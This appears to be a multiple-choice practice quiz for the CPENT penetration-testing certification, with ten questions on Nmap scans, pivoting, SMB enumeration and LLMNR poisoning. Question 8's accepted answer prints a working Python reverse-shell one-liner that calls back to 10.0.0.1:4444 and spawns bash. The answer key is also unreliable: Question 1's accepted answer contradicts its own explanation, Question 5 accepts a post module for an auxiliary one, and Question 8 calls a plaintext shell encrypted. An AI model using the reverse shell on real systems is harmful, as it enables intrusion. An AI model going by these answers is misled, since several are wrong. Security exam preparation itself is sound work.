CPENT Network And Perimeter Exploitation — 10 Questions

Question 1

When performing a network penetration test against an organization with strict perimeter defenses, which TWO Nmap scanning techniques can be utilized to map out firewall rules and filter states? (Choose TWO)

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

-sS. TCP ACK scan (-sA) and TCP Window scan (-sW) are specifically designed to map firewall rulesets and determine whether ports are filtered or unfiltered by examining TCP window sizes and RST responses.

Answer

-sT

Answer

-sU

Question 2

During an internal assessment, a tester wants to extract cleartext credentials from network traffic passing through a switched network segment where they have achieved ARP spoofing positioning. Which Wireshark display filter isolates SMB authentication handshakes to locate cleartext credential exchanges?

Accepted Answer

smb || smb2. SMB traffic relies heavily on SMB and SMB2 protocols. The display filter 'smb || smb2' isolates SMB protocol transactions.

Answer

kerberos

Answer

ldap

Answer

http.request or ftp.request

Question 3

An attacker is scanning a network and needs to determine which operating system is running on a target host by analyzing its TCP/IP stack response behaviors. What feature does Nmap provide for this?

Accepted Answer

-O. Nmap provides OS fingerprinting using the -O flag, which sends a series of TCP and UDP packets to the target and compares the responses to a database of known OS signatures.

Answer

-A

Answer

-sV

Answer

--traceroute

Question 4

A penetration tester is analyzing a network where ICMP echo requests are blocked by perimeter firewalls, making traditional host discovery fail. Which Nmap host discovery option should be used to discover live hosts using TCP ACK packets sent to port 80?

Accepted Answer

-PA80. The -PA flag in Nmap specifies a TCP ACK probe to determine if hosts are alive, as port 80 is frequently allowed through corporate firewalls.

Answer

-PS80

Answer

-PE

Answer

-PU80

Question 5

During an internal network assessment, a tester discovers that direct routing to a segmented VLAN is blocked, but an accessible host on that VLAN is running an SSH server. Which Metasploit auxiliary module can be used to set up a routing table so subsequent exploit modules can reach the isolated subnet through the compromised SSH host?

Accepted Answer

post/multi/manage/autoroute. auxiliary/server/socks_proxy combined with autoroute (run autoroute -s <subnet>) or ssh_login allows pivoting through an SSH session. Specifically, post/multi/manage/autoroute is commonly used to add routes through a session.

Answer

auxiliary/server/socks4a

Answer

auxiliary/scanner/portscan/tcp

Answer

exploit/unix/ssh/libssh_auth_bypass

Question 6

An elite penetration tester needs to bypass a strict perimeter stateful inspection firewall that drops fragmented packets and inspects TCP payload flags. They decide to use Nmap to send packets with the FIN, PSH, and URG flags set simultaneously (a Xmas scan). Which Nmap flag implements this?

Accepted Answer

-sX. The -sX flag instructs Nmap to perform a Xmas tree scan, setting the FIN, PSH, and URG flags, which can bypass certain stateless firewalls or exploit RFC compliance quirks in TCP stacks.

Answer

-sN

Answer

-sF

Answer

-sW

Question 7

An external penetration tester is tasked with enumerating valid usernames on an enterprise Microsoft Active Directory environment through the SMB protocol without triggering account lockout policies. Which tool is standard for this task?

Accepted Answer

Enum4linux. enum4linux or rpcclient can enumerate users. From an Nmap perspective, script-based enumeration using smb-enum-users is common, but specialized tools like enum4linux query RID cycling.

Answer

Aircrack-ng

Answer

John the Ripper

Answer

Hydra

Question 8

A penetration tester successfully compromises a Linux web server and needs to establish an encrypted interactive reverse shell back to their attacking machine, but standard netcat is not installed. Which native Python command-line snippet can be executed to spawn a bash shell back to the listener?

Accepted Answer

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' is the standard python reverse shell payload.

Answer

python -c 'import pty; pty.spawn("/bin/sh")'

Answer

python -m SimpleHTTPServer 80

Answer

python -c 'print("Hello World")'

Question 9

A penetration tester needs to perform a stealthy TCP SYN scan against a target network using Nmap to avoid triggering simple stateless packet filters. Which command-line flag should be used?

Accepted Answer

-sS. The -sS flag tells Nmap to perform a TCP SYN scan, which sends a SYN packet and waits for a SYN-ACK response, never completing the full 3-way handshake, thus remaining stealthier.

Answer

-sA

Answer

-sU

Answer

-sT

Question 10

During an assessment, a penetration tester captures an LLMNR/NBT-NS broadcast request on the local network segment. Which tool can the tester use to spoof the response and capture the resulting NTLMv2 password hash when the victim machine attempts authentication?

Accepted Answer

Responder. Responder is the standard tool used to poison LLMNR, NBT-NS, and mDNS requests, capturing authentication hashes or relaying them to other targets.

Answer

Cain & Abel

Answer

Ettercap

Answer

Wireshark